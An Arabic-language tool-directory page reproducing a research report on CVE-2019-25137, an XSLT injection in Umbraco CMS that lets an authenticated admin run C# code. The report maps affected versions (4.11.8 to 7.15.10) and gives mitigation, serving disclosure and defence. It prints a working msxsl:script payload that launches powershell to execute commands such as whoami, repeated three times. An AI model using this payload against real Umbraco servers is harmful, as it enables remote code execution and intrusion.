Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/ickarah/cve-2019-25137-version-research
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

تقرير يستقصي المدى الكامل لـ CVE-2019-25137

عرض المستودع
11منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

بحث حول الإصدارات المتأثرة بـ CVE-2019-25137


نظرة عامة على CVE-2019-25137


CVE-2019-25137 هي ثغرة حقن XSLT في نظام إدارة المحتوى أومبراكو (Umbraco CMS). توجد الثغرة في صفحة مُصوِّر XSLT (تحويلات لغة الأنماط الموسعة). URI الضعيف لهذه الصفحة هو /umbraco/developer/Xslt/xsltVisualize.aspx.

يمكن أن يؤدي استغلال مُصوِّر XSLT بنجاح إلى تنفيذ كود C# على النظام المستهدف. لاستغلال الثغرة، يحتاج المستخدم إلى بيانات اعتماد إدارية صالحة لنظام Umbraco CMS.

يستخدم إثبات المفهوم لـ CVE-2019-25137 عنصر msxsl:script. يسمح هذا العنصر باستخدام لغات برمجة إضافية في تحويلات XSLT، مثل C#.


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

سيحاول الحمولة XSLT تنفيذ كود C# التالي.


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

يتم تفصيل كود C# إلى العبارات التالية - جميع التعريفات موثقة على موقع مايكروسوفت.

الوظيفةنظرة عامة
System.Diagnostics.Process procتوفر الوصول إلى العمليات المحلية والبعيدة وتمكن المستخدم من بدء وإيقاف عمليات النظام المحلية، هذه العملية تسمى "proc".
proc.StartInfo.FileNameتحدد اسم التطبيق الذي يريد المستخدم تشغيله (powershell أو cmd).
proc.StartInfo.Argumentsتحدد أي متغيرات إضافية قد تكون مطلوبة بواسطة FileName.
proc.StartInfo.UseShellExecuteقيمة تشير إلى ما إذا كان يجب استخدام غلاف نظام التشغيل لبدء العملية، يتم تعيينها على false لأنه يتم استخدام powershell أو cmd.
proc.StartInfo.RedirectStandardOutputقيمة تشير إلى ما إذا كان يتم كتابة مخرجات التطبيق إلى دفق StandardOutput، يتم تعيينها على true.
proc.Start()يبدأ مورد العملية "proc" ويربطه بمكون Process.
string output = proc.StandardOutput.ReadToEnd()يقوم بعمليات قراءة متزامنة على "proc" ويوجهها إلى المتغير "output".


تحليل إصدارات أومبراكو

نظرًا لأن أومبراكو هو نظام إدارة محتوى مفتوح المصدر، حصلت على إصدارات تثبيت مختلفة من موقعه الإلكتروني لتحديد الإصدارات، القديمة والجديدة، التي قد لا تزال تحتوي على xsltVisualize.aspx.



يشير التحليل إلى أن ملف xsltVisualize.aspx موجود في إصدارات Umbraco CMS من 4.11.8 حتى 7.15.10. لم يعد هذا الملف ومجلد التطوير (Development) بالكامل موجودين في الإصدارات 8.0.0 وما فوق.




اختبار أومبراكو 4.11.8

لإثبات أن الإصدار الأقدم أيضًا معرض لـ CVE-2019-25137، قمت بإعداد مثيل اختباري من Umbraco 4.11.8.



مقارنة ملف xsltVisualize.aspx في Umbraco CMS 4.11.8 مع ذلك الموجود في Umbraco CMS الإصدار 7.12.4 يوضح أنه على الرغم من وجود اختلافات طفيفة، إلا أن وظيفة الصفحة هي نفسها.


لاختبار الاستغلال، يحتاج المستخدم إلى إرسال الحمولة داخل حقل xsltSelection.


<br)

باستخدام الحمولة المقدمة سابقًا، تمكنت من تحقيق تنفيذ كود عن بُعد، مما يشير إلى أن هذا الإصدار معرض أيضًا. الصورة أدناه توضح تشغيل whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



اختبار أومبراكو 7.15.10

لإثبات أن أحدث إصدار من أومبراكو الذي يحتوي على xsltVisualize.aspx معرض أيضًا، قمت بإعداد مثيل اختباري من Umbraco 7.15.10.


مقارنة ملف xsltVisualize.aspx في Umbraco CMS 7.15.10 مع ذلك الموجود في Umbraco CMS الإصدار 7.12.4 يوضح أنهما متطابقان.


التنقل إلى URI /umbraco/developer/Xslt/xsltVisualize.aspx يشير إلى أن الملف موجود بالفعل.


باستخدام نفس الحمولة المقدمة سابقًا، تمكنت من تحقيق تنفيذ كود عن بُعد مرة أخرى، مما يشير إلى أن هذا الإصدار معرض أيضًا. الصورة أدناه توضح تشغيل whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


الخلاصة


توضح هذه الأمثلة أن CVE-2019-25137 موجودة في إصدارات أومبراكو بخلاف 7.12.4. جميع الإصدارات بين 4.11.8 و 7.15.10 تحتوي على الصفحة الضعيفة، وبالتالي يجب تضمينها في تحديث CVE. يمكن التخفيف من CVE-2019-25137 عن طريق إزالة الوصول إلى ملف xsltVisualize.aspx أو التحديث إلى أحدث إصدار من أومبراكو.



المراجع

CVE الأصلي - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

تاريخ إصدار أومبراكو - https://our.umbraco.com/download/releases/774

إصدارات أومبراكو - https://our.umbraco.com/download/releases

تعريف XSLT - https://en.wikipedia.org/wiki/XSLT

الحمولة المستخدمة - https://github.com/noraj/Umbraco-RCE

تنزيل الأداة